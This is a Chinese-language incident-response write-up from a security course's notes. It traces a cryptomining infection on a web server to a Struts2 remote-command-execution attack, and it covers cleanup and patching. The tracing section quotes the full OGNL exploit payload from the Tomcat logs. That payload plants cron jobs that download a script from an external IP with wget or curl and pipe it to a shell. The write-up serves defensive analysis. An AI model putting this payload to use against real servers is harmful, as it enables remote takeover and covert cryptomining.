【知了堂信安筆記】挖礦病毒
文章來(lái)源:知了堂馮老師

0x00 前言
隨著虛擬貨幣的瘋狂炒作,利用挖礦腳本來(lái)實(shí)現(xiàn)流量變現(xiàn),使得挖礦病毒成為不法分子利用最為頻繁的攻擊方式。新的挖礦攻擊展現(xiàn)出了類似蠕蟲的行為,并結(jié)合了高級(jí)攻擊技術(shù),以增加對(duì)目標(biāo)服務(wù)器感染的成功率,通過(guò)利用永恒之藍(lán)(EternalBlue)、web攻擊多種漏洞(如Tomcat弱口令攻擊、Weblogic WLS組件漏洞、Jboss反序列化漏洞、Struts2遠(yuǎn)程命令執(zhí)行等),導(dǎo)致大量服務(wù)器被感染挖礦程序的現(xiàn)象 。
0x01 應(yīng)急場(chǎng)景
某天,安全管理員在登錄安全設(shè)備巡檢時(shí),發(fā)現(xiàn)某臺(tái)網(wǎng)站服務(wù)器持續(xù)向境外IP發(fā)起連接,下載病毒源:

###0x02 事件分析
A、排查過(guò)程
登錄服務(wù)器,查看系統(tǒng)進(jìn)程狀態(tài),發(fā)現(xiàn)不規(guī)則命名的異常進(jìn)程、異常下載進(jìn)程 :


下載logo.jpg,包含腳本內(nèi)容如下:

到這里,我們可以發(fā)現(xiàn)攻擊者下載logo.jpg并執(zhí)行了里面了shell腳本,那這個(gè)腳本是如何啟動(dòng)的呢?
通過(guò)排查系統(tǒng)開機(jī)啟動(dòng)項(xiàng)、定時(shí)任務(wù)、服務(wù)等,在定時(shí)任務(wù)里面,發(fā)現(xiàn)了惡意腳本,每隔一段時(shí)間發(fā)起請(qǐng)求下載病毒源,并執(zhí)行 。

B、溯源分析
在Tomcat log日志中,我們找到這樣一條記錄:

對(duì)日志中攻擊源碼進(jìn)行摘錄如下:
{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
可以發(fā)現(xiàn)攻擊代碼中的操作與定時(shí)任務(wù)中異常腳本一致,據(jù)此推斷黑客通過(guò)Struct 遠(yuǎn)程命令執(zhí)行漏洞向服務(wù)器定時(shí)任務(wù)中寫入惡意腳本并執(zhí)行。
C、清除病毒
1、刪除定時(shí)任務(wù):

2、終止異常進(jìn)程:

D、漏洞修復(fù)
升級(jí)struts到最新版本
0x03 防范措施
針對(duì)服務(wù)器被感染挖礦程序的現(xiàn)象,總結(jié)了幾種預(yù)防措施:
1、安裝安全軟件并升級(jí)病毒庫(kù),定期全盤掃描,保持實(shí)時(shí)防護(hù)
2、及時(shí)更新 Windows安全補(bǔ)丁,開啟防火墻臨時(shí)關(guān)閉端口
3、及時(shí)更新web漏洞補(bǔ)丁,升級(jí)web組件
